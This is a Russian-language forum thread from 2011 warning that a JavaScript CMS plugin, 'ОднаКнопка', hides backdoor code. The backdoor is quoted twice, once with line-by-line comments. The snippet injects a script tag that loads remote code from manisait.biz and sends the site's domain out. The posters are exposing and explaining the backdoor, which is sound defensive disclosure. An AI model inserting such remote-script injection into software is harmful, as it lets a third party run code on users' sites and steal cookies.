Ответить
Плагин ОднаКнопка КИДОК
Отправлено: 18 Мар 2011#1
Недавно скачал плагин на javascriipt "ОднаКнопка". Перед установкой сюда решил проверить его на бекдоры и всякие "приколы" от разработчика. Оказалось там две скрытых ссылки на сайт manisait.biz. Но это еще мелочи, по сравнению с тем, что с этого же сайта тянется скрипт. Вот участок кода из плагина
Так что знайте господа этот сайт и его хозяина.
Попячен
Code:
var scr=document.createElement('script');
scr.type='text/javascript';
scr.src='http://manisait.biz/save2/?domain='+this.domain+'&system='+i;
document.body.appendChild(scr);
scr.type='text/javascript';
scr.src='http://manisait.biz/save2/?domain='+this.domain+'&system='+i;
document.body.appendChild(scr);
Так что знайте господа этот сайт и его хозяина.
Попячен
Я горжусь тем, что создал . И люблю нашу команду)
Отправлено: 29 Июн 2011#2
так как в коде ничего не понимаю... ничерта не понял =(
а можно для гипер тупых?
а можно для гипер тупых?
Все мое имхо...
------
Не флуди и не да зафлудим будешь!
------
Не флуди и не да зафлудим будешь!
Отправлено: 29 Июн 2011#3
Ater,
Code:
var scr=document.createElement('script'); // создаётся script
scr.type='text/javascript'; // type="text/javascript"
scr.src='http://manisait.biz/save2/?domain='+this.domain+'&system='+i; // ссылка
document.body.appendChild(scr); // вставляем скрипт после body
scr.type='text/javascript'; // type="text/javascript"
scr.src='http://manisait.biz/save2/?domain='+this.domain+'&system='+i; // ссылка
document.body.appendChild(scr); // вставляем скрипт после body
Отредактировано автором 29 Июн 2011
Отправлено: 29 Июн 2011#4
ModaL, и к чему это?
Я горжусь тем, что помогаю в развитии бесплатной CMS - AtomX
Отправлено: 29 Июн 2011#6
ну то что ты разьяснил вроде и так ясно. Я думал он имел ввиду подробности
Я горжусь тем, что помогаю в развитии бесплатной CMS - AtomX
Отправлено: 29 Июн 2011#7
Подробности в том что этот плагин вставляет скрипт с левого хоста а в этом скрипте может быть что угодно, в плоть до угона куки.
Я горжусь тем, что создал . И люблю нашу команду)
Отправлено: 29 Июн 2011#8
во, так понятнее...
Все мое имхо...
------
Не флуди и не да зафлудим будешь!
------
Не флуди и не да зафлудим будешь!
Отправлено: 29 Июн 2011#9
ага) а что он по идее должен вообще делать?
Я горжусь тем, что помогаю в развитии бесплатной CMS - AtomX
Зарегистрируйтесь или авторизуйтесь что бы писать
Сейчас online: 5. Зарегистрированных: 0. Гостей: 5.